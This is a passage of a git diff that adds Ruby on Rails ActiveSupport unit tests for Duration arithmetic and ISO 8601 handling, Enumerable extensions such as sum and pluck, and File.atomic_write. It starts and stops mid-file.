+    assert_instance_of ActiveSupport::Duration, 5.minutes % 2.minutes
+
+    assert_equal 1.minute, 5.minutes % 120.seconds
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 120.seconds
+
+    assert_equal 5.minutes, 5.minutes % 1.hour
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 1.hour
+
+    assert_equal 1.day, 36.days % 604800
+    assert_instance_of ActiveSupport::Duration, 36.days % 604800
+
+    assert_equal 1.day, 36.days % 7.days
+    assert_instance_of ActiveSupport::Duration, 36.days % 7.days
+
+    assert_equal 800.seconds, 8000 % 1.hour
+    assert_instance_of ActiveSupport::Duration, 8000 % 1.hour
+
+    assert_equal 1.month, 13.months % 1.year
+    assert_instance_of ActiveSupport::Duration, 13.months % 1.year
+  end
+
+  def test_date_added_with_multiplied_duration
+    assert_equal Date.civil(2017, 1, 3), Date.civil(2017, 1, 1) + 1.day * 2
+  end
+
+  def test_plus_with_time
+    assert_equal 1 + 1.second, 1.second + 1, "Duration + Numeric should == Numeric + Duration"
+  end
+
+  def test_time_plus_duration_returns_same_time_datatype
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Moscow"] , Time.utc(2016, 4, 28, 00, 45))
+    now = Time.now.utc
+    %w( second minute hour day week month year ).each do |unit|
+      assert_equal((now + 1.send(unit)).class, Time, "Time + 1.#{unit} must be Time")
+      assert_equal((twz + 1.send(unit)).class, ActiveSupport::TimeWithZone, "TimeWithZone + 1.#{unit} must be TimeWithZone")
+    end
+  end
+
+  def test_argument_error
+    e = assert_raise ArgumentError do
+      1.second.ago("")
+    end
+    assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
+  end
+
+  def test_fractional_weeks
+    assert_equal((86400 * 7) * 1.5, 1.5.weeks)
+    assert_equal((86400 * 7) * 1.7, 1.7.weeks)
+  end
+
+  def test_fractional_days
+    assert_equal 86400 * 1.5, 1.5.days
+    assert_equal 86400 * 1.7, 1.7.days
+  end
+
+  def test_since_and_ago
+    t = Time.local(2000)
+    assert_equal t + 1, 1.second.since(t)
+    assert_equal t - 1, 1.second.ago(t)
+  end
+
+  def test_since_and_ago_without_argument
+    now = Time.now
+    assert 1.second.since >= now + 1
+    now = Time.now
+    assert 1.second.ago >= now - 1
+  end
+
+  def test_since_and_ago_with_fractional_days
+    t = Time.local(2000)
+    # since
+    assert_equal 36.hours.since(t), 1.5.days.since(t)
+    assert_in_delta((24 * 1.7).hours.since(t), 1.7.days.since(t), 1)
+    # ago
+    assert_equal 36.hours.ago(t), 1.5.days.ago(t)
+    assert_in_delta((24 * 1.7).hours.ago(t), 1.7.days.ago(t), 1)
+  end
+
+  def test_since_and_ago_with_fractional_weeks
+    t = Time.local(2000)
+    # since
+    assert_equal((7 * 36).hours.since(t), 1.5.weeks.since(t))
+    assert_in_delta((7 * 24 * 1.7).hours.since(t), 1.7.weeks.since(t), 1)
+    # ago
+    assert_equal((7 * 36).hours.ago(t), 1.5.weeks.ago(t))
+    assert_in_delta((7 * 24 * 1.7).hours.ago(t), 1.7.weeks.ago(t), 1)
+  end
+
+  def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set
+    Time.zone = nil
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2000)) do
+        # since
+        assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
+        assert_equal Time.local(2000, 1, 1, 0, 0, 5), 5.seconds.since
+        # ago
+        assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
+        assert_equal Time.local(1999, 12, 31, 23, 59, 55), 5.seconds.ago
+      end
+    end
+  end
+
+  def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
+    Time.zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2000)) do
+        # since
+        assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
+        assert_equal Time.utc(2000, 1, 1, 0, 0, 5), 5.seconds.since.time
+        assert_equal "Eastern Time (US & Canada)", 5.seconds.since.time_zone.name
+        # ago
+        assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
+        assert_equal Time.utc(1999, 12, 31, 23, 59, 55), 5.seconds.ago.time
+        assert_equal "Eastern Time (US & Canada)", 5.seconds.ago.time_zone.name
+      end
+    end
+  ensure
+    Time.zone = nil
+  end
+
+  def test_before_and_afer
+    t = Time.local(2000)
+    assert_equal t + 1, 1.second.after(t)
+    assert_equal t - 1, 1.second.before(t)
+  end
+
+  def test_before_and_after_without_argument
+    Time.stub(:now, Time.local(2000)) do
+      assert_equal Time.now - 1.second, 1.second.before
+      assert_equal Time.now + 1.second, 1.second.after
+    end
+  end
+
+  def test_adding_hours_across_dst_boundary
+    with_env_tz "CET" do
+      assert_equal Time.local(2009, 3, 29, 0, 0, 0) + 24.hours, Time.local(2009, 3, 30, 1, 0, 0)
+    end
+  end
+
+  def test_adding_day_across_dst_boundary
+    with_env_tz "CET" do
+      assert_equal Time.local(2009, 3, 29, 0, 0, 0) + 1.day, Time.local(2009, 3, 30, 0, 0, 0)
+    end
+  end
+
+  def test_delegation_with_block_works
+    counter = 0
+    assert_nothing_raised do
+      1.minute.times { counter += 1 }
+    end
+    assert_equal 60, counter
+  end
+
+  def test_as_json
+    assert_equal 172800, 2.days.as_json
+  end
+
+  def test_to_json
+    assert_equal "172800", 2.days.to_json
+  end
+
+  def test_case_when
+    cased = \
+      case 1.day
+      when 1.day
+        "ok"
+      end
+    assert_equal "ok", cased
+  end
+
+  def test_respond_to
+    assert_respond_to 1.day, :since
+    assert_respond_to 1.day, :zero?
+  end
+
+  def test_hash
+    assert_equal 1.minute.hash, 60.seconds.hash
+  end
+
+  def test_comparable
+    assert_equal(-1, (0.seconds <=> 1.second))
+    assert_equal(-1, (1.second <=> 1.minute))
+    assert_equal(-1, (1 <=> 1.minute))
+    assert_equal(0, (0.seconds <=> 0.seconds))
+    assert_equal(0, (0.seconds <=> 0.minutes))
+    assert_equal(0, (1.second <=> 1.second))
+    assert_equal(1, (1.second <=> 0.second))
+    assert_equal(1, (1.minute <=> 1.second))
+    assert_equal(1, (61 <=> 1.minute))
+  end
+
+  def test_implicit_coercion
+    assert_equal 2.days, 2 * 1.day
+    assert_instance_of ActiveSupport::Duration, 2 * 1.day
+    assert_equal Time.utc(2017, 1, 3), Time.utc(2017, 1, 1) + 2 * 1.day
+    assert_equal Date.civil(2017, 1, 3), Date.civil(2017, 1, 1) + 2 * 1.day
+  end
+
+  def test_scalar_coerce
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+    assert_instance_of ActiveSupport::Duration::Scalar, 10 + scalar
+    assert_instance_of ActiveSupport::Duration, 10.seconds + scalar
+  end
+
+  def test_scalar_delegations
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+    assert_kind_of Float, scalar.to_f
+    assert_kind_of Integer, scalar.to_i
+    assert_kind_of String, scalar.to_s
+  end
+
+  def test_scalar_unary_minus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal(-10, -scalar)
+    assert_instance_of ActiveSupport::Duration::Scalar, -scalar
+  end
+
+  def test_scalar_compare
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal(1, scalar <=> 5)
+    assert_equal(0, scalar <=> 10)
+    assert_equal(-1, scalar <=> 15)
+    assert_nil(scalar <=> "foo")
+  end
+
+  def test_scalar_plus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 20, 10 + scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 10 + scalar
+    assert_equal 20, scalar + 10
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar + 10
+    assert_equal 20, 10.seconds + scalar
+    assert_instance_of ActiveSupport::Duration, 10.seconds + scalar
+    assert_equal 20, scalar + 10.seconds
+    assert_instance_of ActiveSupport::Duration, scalar + 10.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar + "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_plus_parts
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal({ days: 1, seconds: 10 }, (scalar + 1.day).parts)
+    assert_equal({ days: -1, seconds: 10 }, (scalar + -1.day).parts)
+  end
+
+  def test_scalar_minus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 10, 20 - scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 20 - scalar
+    assert_equal 5, scalar - 5
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar - 5
+    assert_equal 10, 20.seconds - scalar
+    assert_instance_of ActiveSupport::Duration, 20.seconds - scalar
+    assert_equal 5, scalar - 5.seconds
+    assert_instance_of ActiveSupport::Duration, scalar - 5.seconds
+
+    assert_equal({ days: -1, seconds: 10 }, (scalar - 1.day).parts)
+    assert_equal({ days: 1, seconds: 10 }, (scalar - -1.day).parts)
+
+    exception = assert_raises(TypeError) do
+      scalar - "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_minus_parts
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal({ days: -1, seconds: 10 }, (scalar - 1.day).parts)
+    assert_equal({ days: 1, seconds: 10 }, (scalar - -1.day).parts)
+  end
+
+  def test_scalar_multiply
+    scalar = ActiveSupport::Duration::Scalar.new(5)
+
+    assert_equal 10, 2 * scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 2 * scalar
+    assert_equal 10, scalar * 2
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar * 2
+    assert_equal 10, 2.seconds * scalar
+    assert_instance_of ActiveSupport::Duration, 2.seconds * scalar
+    assert_equal 10, scalar * 2.seconds
+    assert_instance_of ActiveSupport::Duration, scalar * 2.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar * "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_multiply_parts
+    scalar = ActiveSupport::Duration::Scalar.new(1)
+    assert_equal({ days: 2 }, (scalar * 2.days).parts)
+    assert_equal(172800, (scalar * 2.days).value)
+    assert_equal({ days: -2 }, (scalar * -2.days).parts)
+    assert_equal(-172800, (scalar * -2.days).value)
+  end
+
+  def test_scalar_divide
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 10, 100 / scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 100 / scalar
+    assert_equal 5, scalar / 2
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar / 2
+    assert_equal 10, 100.seconds / scalar
+    assert_instance_of ActiveSupport::Duration, 100.seconds / scalar
+    assert_equal 5, scalar / 2.seconds
+    assert_kind_of Integer, scalar / 2.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar / "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_modulo
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 1, 31 % scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 31 % scalar
+    assert_equal 1, scalar % 3
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar % 3
+    assert_equal 1, 31.seconds % scalar
+    assert_instance_of ActiveSupport::Duration, 31.seconds % scalar
+    assert_equal 1, scalar % 3.seconds
+    assert_instance_of ActiveSupport::Duration, scalar % 3.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar % "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_modulo_parts
+    scalar = ActiveSupport::Duration::Scalar.new(82800)
+    assert_equal({ hours: 1 }, (scalar % 2.hours).parts)
+    assert_equal(3600, (scalar % 2.hours).value)
+  end
+
+  def test_twelve_months_equals_one_year
+    assert_equal 12.months, 1.year
+  end
+
+  def test_thirty_days_does_not_equal_one_month
+    assert_not_equal 30.days, 1.month
+  end
+
+  def test_adding_one_month_maintains_day_of_month
+    (1..11).each do |month|
+      [1, 14, 28].each do |day|
+        assert_equal Date.civil(2016, month + 1, day), Date.civil(2016, month, day) + 1.month
+      end
+    end
+
+    assert_equal Date.civil(2017, 1, 1),  Date.civil(2016, 12, 1) + 1.month
+    assert_equal Date.civil(2017, 1, 14),  Date.civil(2016, 12, 14) + 1.month
+    assert_equal Date.civil(2017, 1, 28),  Date.civil(2016, 12, 28) + 1.month
+
+    assert_equal Date.civil(2015, 2, 28), Date.civil(2015, 1, 31) + 1.month
+    assert_equal Date.civil(2016, 2, 29), Date.civil(2016, 1, 31) + 1.month
+  end
+
+  # ISO8601 string examples are taken from ISO8601 gem at https://github.com/arnau/ISO8601/blob/b93d466840/spec/iso8601/duration_spec.rb
+  # published under the conditions of MIT license at https://github.com/arnau/ISO8601/blob/b93d466840/LICENSE
+  #
+  # Copyright (c) 2012-2014 Arnau Siches
+  #
+  # MIT License
+  #
+  # Permission is hereby granted, free of charge, to any person obtaining
+  # a copy of this software and associated documentation files (the
+  # "Software"), to deal in the Software without restriction, including
+  # without limitation the rights to use, copy, modify, merge, publish,
+  # distribute, sublicense, and/or sell copies of the Software, and to
+  # permit persons to whom the Software is furnished to do so, subject to
+  # the following conditions:
+  #
+  # The above copyright notice and this permission notice shall be
+  # included in all copies or substantial portions of the Software.
+  #
+  # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+  # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+  # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+  # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+  # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+  # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+  # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+  def test_iso8601_parsing_wrong_patterns_with_raise
+    invalid_patterns = ["", "P", "PT", "P1YT", "T", "PW", "P1Y1W", "~P1Y", ".P1Y", "P1.5Y0.5M", "P1.5Y1M", "P1.5MT10.5S"]
+    invalid_patterns.each do |pattern|
+      assert_raise ActiveSupport::Duration::ISO8601Parser::ParsingError, pattern.inspect do
+        ActiveSupport::Duration.parse(pattern)
+      end
+    end
+  end
+
+  def test_iso8601_output
+    expectations = [
+      ["P1Y",           1.year                           ],
+      ["P1W",           1.week                           ],
+      ["P1Y1M",         1.year + 1.month                 ],
+      ["P1Y1M1D",       1.year + 1.month + 1.day         ],
+      ["-P1Y1D",        -1.year - 1.day                  ],
+      ["P1Y-1DT-1S",    1.year - 1.day - 1.second        ], # Parts with different signs are exists in PostgreSQL interval datatype.
+      ["PT1S",          1.second                         ],
+      ["PT1.4S",        (1.4).seconds                    ],
+      ["P1Y1M1DT1H",    1.year + 1.month + 1.day + 1.hour],
+      ["PT0S",          0.minutes                        ],
+    ]
+    expectations.each do |expected_output, duration|
+      assert_equal expected_output, duration.iso8601, expected_output.inspect
+    end
+  end
+
+  def test_iso8601_output_precision
+    expectations = [
+        [nil, "P1Y1MT8.55S",  1.year + 1.month + (8.55).seconds ],
+        [0,   "P1Y1MT9S",     1.year + 1.month + (8.55).seconds ],
+        [1,   "P1Y1MT8.6S",   1.year + 1.month + (8.55).seconds ],
+        [2,   "P1Y1MT8.55S",  1.year + 1.month + (8.55).seconds ],
+        [3,   "P1Y1MT8.550S", 1.year + 1.month + (8.55).seconds ],
+        [nil, "PT1S",         1.second                          ],
+        [2,   "PT1.00S",      1.second                          ],
+        [nil, "PT1.4S",       (1.4).seconds                     ],
+        [0,   "PT1S",         (1.4).seconds                     ],
+        [1,   "PT1.4S",       (1.4).seconds                     ],
+        [5,   "PT1.40000S",   (1.4).seconds                     ],
+    ]
+    expectations.each do |precision, expected_output, duration|
+      assert_equal expected_output, duration.iso8601(precision: precision), expected_output.inspect
+    end
+  end
+
+  def test_iso8601_output_and_reparsing
+    patterns = %w[
+      P1Y P0.5Y P0,5Y P1Y1M P1Y0.5M P1Y0,5M P1Y1M1D P1Y1M0.5D P1Y1M0,5D P1Y1M1DT1H P1Y1M1DT0.5H P1Y1M1DT0,5H P1W +P1Y -P1Y
+      P1Y1M1DT1H1M P1Y1M1DT1H0.5M P1Y1M1DT1H0,5M P1Y1M1DT1H1M1S P1Y1M1DT1H1M1.0S P1Y1M1DT1H1M1,0S P-1Y-2M3DT-4H-5M-6S
+    ]
+    # That could be weird, but if we parse P1Y1M0.5D and output it to ISO 8601, we'll get P1Y1MT12.0H.
+    # So we check that initially parsed and reparsed duration added to time will result in the same time.
+    time = Time.current
+    patterns.each do |pattern|
+      duration = ActiveSupport::Duration.parse(pattern)
+      assert_equal time + duration, time + ActiveSupport::Duration.parse(duration.iso8601), pattern.inspect
+    end
+  end
+
+  def test_iso8601_parsing_across_spring_dst_boundary
+    with_env_tz eastern_time_zone do
+      with_tz_default "Eastern Time (US & Canada)" do
+        travel_to Time.utc(2016, 3, 11) do
+          assert_equal 604800, ActiveSupport::Duration.parse("P7D").to_i
+          assert_equal 604800, ActiveSupport::Duration.parse("P1W").to_i
+        end
+      end
+    end
+  end
+
+  def test_iso8601_parsing_across_autumn_dst_boundary
+    with_env_tz eastern_time_zone do
+      with_tz_default "Eastern Time (US & Canada)" do
+        travel_to Time.utc(2016, 11, 4) do
+          assert_equal 604800, ActiveSupport::Duration.parse("P7D").to_i
+          assert_equal 604800, ActiveSupport::Duration.parse("P1W").to_i
+        end
+      end
+    end
+  end
+
+  def test_iso8601_parsing_equivalence_with_numeric_extensions_over_long_periods
+    with_env_tz eastern_time_zone do
+      with_tz_default "Eastern Time (US & Canada)" do
+        assert_equal 3.months, ActiveSupport::Duration.parse("P3M")
+        assert_equal 3.months.to_i, ActiveSupport::Duration.parse("P3M").to_i
+        assert_equal 10.months, ActiveSupport::Duration.parse("P10M")
+        assert_equal 10.months.to_i, ActiveSupport::Duration.parse("P10M").to_i
+        assert_equal 3.years, ActiveSupport::Duration.parse("P3Y")
+        assert_equal 3.years.to_i, ActiveSupport::Duration.parse("P3Y").to_i
+        assert_equal 10.years, ActiveSupport::Duration.parse("P10Y")
+        assert_equal 10.years.to_i, ActiveSupport::Duration.parse("P10Y").to_i
+      end
+    end
+  end
+
+  def test_adding_durations_do_not_hold_prior_states
+    time = Time.parse("Nov 29, 2016")
+    # If the implementation adds and subtracts 3 months, the
+    # resulting date would have been in February so the day will
+    # change to the 29th.
+    d1 = 3.months - 3.months
+    d2 = 2.months - 2.months
+
+    assert_equal time + d1, time + d2
+  end
+
+  private
+    def eastern_time_zone
+      if Gem.win_platform?
+        "EST5EDT"
+      else
+        "America/New_York"
+      end
+    end
+end
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
new file mode 100644
index 0000000000..8d71320931
--- /dev/null
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+require "active_support/core_ext/enumerable"
+
+Payment = Struct.new(:price)
+ExpandedPayment = Struct.new(:dollars, :cents)
+
+class SummablePayment < Payment
+  def +(p) self.class.new(price + p.price) end
+end
+
+class EnumerableTests < ActiveSupport::TestCase
+  class GenericEnumerable
+    include Enumerable
+
+    def initialize(values = [1, 2, 3])
+      @values = values
+    end
+
+    def each
+      @values.each { |v| yield v }
+    end
+  end
+
+  def assert_typed_equal(e, v, cls, msg = nil)
+    assert_kind_of(cls, v, msg)
+    assert_equal(e, v, msg)
+  end
+
+  def test_sums
+    enum = GenericEnumerable.new([5, 15, 10])
+    assert_equal 30, enum.sum
+    assert_equal 60, enum.sum { |i| i * 2 }
+
+    enum = GenericEnumerable.new(%w(a b c))
+    assert_equal "abc", enum.sum
+    assert_equal "aabbcc", enum.sum { |i| i * 2 }
+
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal 30, payments.sum(&:price)
+    assert_equal 60, payments.sum { |p| p.price * 2 }
+
+    payments = GenericEnumerable.new([ SummablePayment.new(5), SummablePayment.new(15) ])
+    assert_equal SummablePayment.new(20), payments.sum
+    assert_equal SummablePayment.new(20), payments.sum { |p| p }
+
+    sum = GenericEnumerable.new([3, 5.quo(1)]).sum
+    assert_typed_equal(8, sum, Rational)
+
+    sum = GenericEnumerable.new([3, 5.quo(1)]).sum(0.0)
+    assert_typed_equal(8.0, sum, Float)
+
+    sum = GenericEnumerable.new([3, 5.quo(1), 7.0]).sum
+    assert_typed_equal(15.0, sum, Float)
+
+    sum = GenericEnumerable.new([3, 5.quo(1), Complex(7)]).sum
+    assert_typed_equal(Complex(15), sum, Complex)
+    assert_typed_equal(15, sum.real, Rational)
+    assert_typed_equal(0, sum.imag, Integer)
+
+    sum = GenericEnumerable.new([3.5, 5]).sum
+    assert_typed_equal(8.5, sum, Float)
+
+    sum = GenericEnumerable.new([2, 8.5]).sum
+    assert_typed_equal(10.5, sum, Float)
+
+    sum = GenericEnumerable.new([1.quo(2), 1]).sum
+    assert_typed_equal(3.quo(2), sum, Rational)
+
+    sum = GenericEnumerable.new([1.quo(2), 1.quo(3)]).sum
+    assert_typed_equal(5.quo(6), sum, Rational)
+
+    sum = GenericEnumerable.new([2.0, 3.0 * Complex::I]).sum
+    assert_typed_equal(Complex(2.0, 3.0), sum, Complex)
+    assert_typed_equal(2.0, sum.real, Float)
+    assert_typed_equal(3.0, sum.imag, Float)
+
+    sum = GenericEnumerable.new([1, 2]).sum(10) { |v| v * 2 }
+    assert_typed_equal(16, sum, Integer)
+  end
+
+  def test_nil_sums
+    expected_raise = TypeError
+
+    assert_raise(expected_raise) { GenericEnumerable.new([5, 15, nil]).sum }
+
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ])
+    assert_raise(expected_raise) { payments.sum(&:price) }
+
+    assert_equal 60, payments.sum { |p| p.price.to_i * 2 }
+  end
+
+  def test_empty_sums
+    assert_equal 0, GenericEnumerable.new([]).sum
+    assert_equal 0, GenericEnumerable.new([]).sum { |i| i + 10 }
+    assert_equal Payment.new(0), GenericEnumerable.new([]).sum(Payment.new(0))
+    assert_typed_equal 0.0, GenericEnumerable.new([]).sum(0.0), Float
+  end
+
+  def test_range_sums
+    assert_equal 20, (1..4).sum { |i| i * 2 }
+    assert_equal 10, (1..4).sum
+    assert_equal 10, (1..4.5).sum
+    assert_equal 6, (1...4).sum
+    assert_equal "abc", ("a".."c").sum
+    assert_equal 50_000_005_000_000, (0..10_000_000).sum
+    assert_equal 0, (10..0).sum
+    assert_equal 5, (10..0).sum(5)
+    assert_equal 10, (10..10).sum
+    assert_equal 42, (10...10).sum(42)
+    assert_typed_equal 20.0, (1..4).sum(0.0) { |i| i * 2 }, Float
+    assert_typed_equal 10.0, (1..4).sum(0.0), Float
+    assert_typed_equal 20.0, (1..4).sum(10.0), Float
+    assert_typed_equal 5.0, (10..0).sum(5.0), Float
+  end
+
+  def test_array_sums
+    enum = [5, 15, 10]
+    assert_equal 30, enum.sum
+    assert_equal 60, enum.sum { |i| i * 2 }
+
+    enum = %w(a b c)
+    assert_equal "abc", enum.sum
+    assert_equal "aabbcc", enum.sum { |i| i * 2 }
+
+    payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ]
+    assert_equal 30, payments.sum(&:price)
+    assert_equal 60, payments.sum { |p| p.price * 2 }
+
+    payments = [ SummablePayment.new(5), SummablePayment.new(15) ]
+    assert_equal SummablePayment.new(20), payments.sum
+    assert_equal SummablePayment.new(20), payments.sum { |p| p }
+
+    sum = [3, 5.quo(1)].sum
+    assert_typed_equal(8, sum, Rational)
+
+    sum = [3, 5.quo(1)].sum(0.0)
+    assert_typed_equal(8.0, sum, Float)
+
+    sum = [3, 5.quo(1), 7.0].sum
+    assert_typed_equal(15.0, sum, Float)
+
+    sum = [3, 5.quo(1), Complex(7)].sum
+    assert_typed_equal(Complex(15), sum, Complex)
+    assert_typed_equal(15, sum.real, Rational)
+    assert_typed_equal(0, sum.imag, Integer)
+
+    sum = [3.5, 5].sum
+    assert_typed_equal(8.5, sum, Float)
+
+    sum = [2, 8.5].sum
+    assert_typed_equal(10.5, sum, Float)
+
+    sum = [1.quo(2), 1].sum
+    assert_typed_equal(3.quo(2), sum, Rational)
+
+    sum = [1.quo(2), 1.quo(3)].sum
+    assert_typed_equal(5.quo(6), sum, Rational)
+
+    sum = [2.0, 3.0 * Complex::I].sum
+    assert_typed_equal(Complex(2.0, 3.0), sum, Complex)
+    assert_typed_equal(2.0, sum.real, Float)
+    assert_typed_equal(3.0, sum.imag, Float)
+
+    sum = [1, 2].sum(10) { |v| v * 2 }
+    assert_typed_equal(16, sum, Integer)
+  end
+
+  def test_index_by
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
+                 payments.index_by(&:price))
+    assert_equal Enumerator, payments.index_by.class
+    assert_nil payments.index_by.size
+    assert_equal 42, (1..42).index_by.size
+    assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
+                 payments.index_by.each(&:price))
+  end
+
+  def test_many
+    assert_equal false, GenericEnumerable.new([]).many?
+    assert_equal false, GenericEnumerable.new([ 1 ]).many?
+    assert_equal true,  GenericEnumerable.new([ 1, 2 ]).many?
+
+    assert_equal false, GenericEnumerable.new([]).many? { |x| x > 1 }
+    assert_equal false, GenericEnumerable.new([ 2 ]).many? { |x| x > 1 }
+    assert_equal false, GenericEnumerable.new([ 1, 2 ]).many? { |x| x > 1 }
+    assert_equal true,  GenericEnumerable.new([ 1, 2, 2 ]).many? { |x| x > 1 }
+  end
+
+  def test_many_iterates_only_on_what_is_needed
+    infinity = 1.0 / 0.0
+    very_long_enum = 0..infinity
+    assert_equal true, very_long_enum.many?
+    assert_equal true, very_long_enum.many? { |x| x > 100 }
+  end
+
+  def test_exclude?
+    assert_equal true,  GenericEnumerable.new([ 1 ]).exclude?(2)
+    assert_equal false, GenericEnumerable.new([ 1 ]).exclude?(1)
+  end
+
+  def test_without
+    assert_equal [1, 2, 4], GenericEnumerable.new((1..5).to_a).without(3, 5)
+    assert_equal [1, 2, 4], (1..5).to_a.without(3, 5)
+    assert_equal [1, 2, 4], (1..5).to_set.without(3, 5)
+    assert_equal({ foo: 1, baz: 3 }, { foo: 1, bar: 2, baz: 3 }.without(:bar))
+  end
+
+  def test_pluck
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal [5, 15, 10], payments.pluck(:price)
+
+    payments = GenericEnumerable.new([
+      ExpandedPayment.new(5, 99),
+      ExpandedPayment.new(15, 0),
+      ExpandedPayment.new(10, 50)
+    ])
+    assert_equal [[5, 99], [15, 0], [10, 50]], payments.pluck(:dollars, :cents)
+  end
+end
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
new file mode 100644
index 0000000000..23e3c277cc
--- /dev/null
+++ b/activesupport/test/core_ext/file_test.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/file"
+
+class AtomicWriteTest < ActiveSupport::TestCase
+  def test_atomic_write_without_errors
+    contents = "Atomic Text"
+    File.atomic_write(file_name, Dir.pwd) do |file|
+      file.write(contents)
+      assert !File.exist?(file_name)
+    end
+    assert File.exist?(file_name)
+    assert_equal contents, File.read(file_name)
+  ensure
+    File.unlink(file_name) rescue nil
+  end
+
+  def test_atomic_write_doesnt_write_when_block_raises
+    File.atomic_write(file_name) do |file|
+      file.write("testing")
+      raise "something bad"
+    end
+  rescue
+    assert !File.exist?(file_name)
+  end
+
+  def test_atomic_write_preserves_file_permissions
+    contents = "Atomic Text"
+    File.open(file_name, "w", 0755) do |file|
+      file.write(contents)
+      assert File.exist?(file_name)
+    end
+    assert File.exist?(file_name)
+    assert_equal 0100755 & ~File.umask, file_mode
+    assert_equal contents, File.read(file_name)
+
+    File.atomic_write(file_name, Dir.pwd) do |file|
+      file.write(contents)
+      assert File.exist?(file_name)
+    end
+    assert File.exist?(file_name)
+    assert_equal 0100755 & ~File.umask, file_mode
+    assert_equal contents, File.read(file_name)
+  ensure
+    File.unlink(file_name) rescue nil
+  end
+
+  def test_atomic_write_preserves_default_file_permissions
+    contents = "Atomic Text"
+    File.atomic_write(file_name, Dir.pwd) do |file|
+      file.write(contents)
+      assert !File.exist?(file_name)
+    end
+    assert File.exist?(file_name)
+    assert_equal File.probe_stat_in(Dir.pwd).mode, file_mode
+    assert_equal contents, File.read(file_name)
+  ensure
+    File.unlink(file_name) rescue nil
+  end
+
+  def test_atomic_write_returns_result_from_yielded_block
+    block_return_value = File.atomic_write(file_name, Dir.pwd) do |file|
+      "Hello world!"
+    end
+
+    assert_equal "Hello world!", block_return_value
+  ensure
+    File.unlink(file_name) rescue nil
+  end
+
+  private
+    def file_name
+      "atomic.file"
+    end
+
+    def file_mode
+      File.stat(file_name).mode
+    end
+end
diff --git a/activesupport/test/core_ext/hash/transform_keys_test.rb b/activesupport/test/core_ext/hash/transform_keys_test.rb
new file mode 100644
index 0000000000..b9e41f7b25
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_keys_test.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash/keys"
+
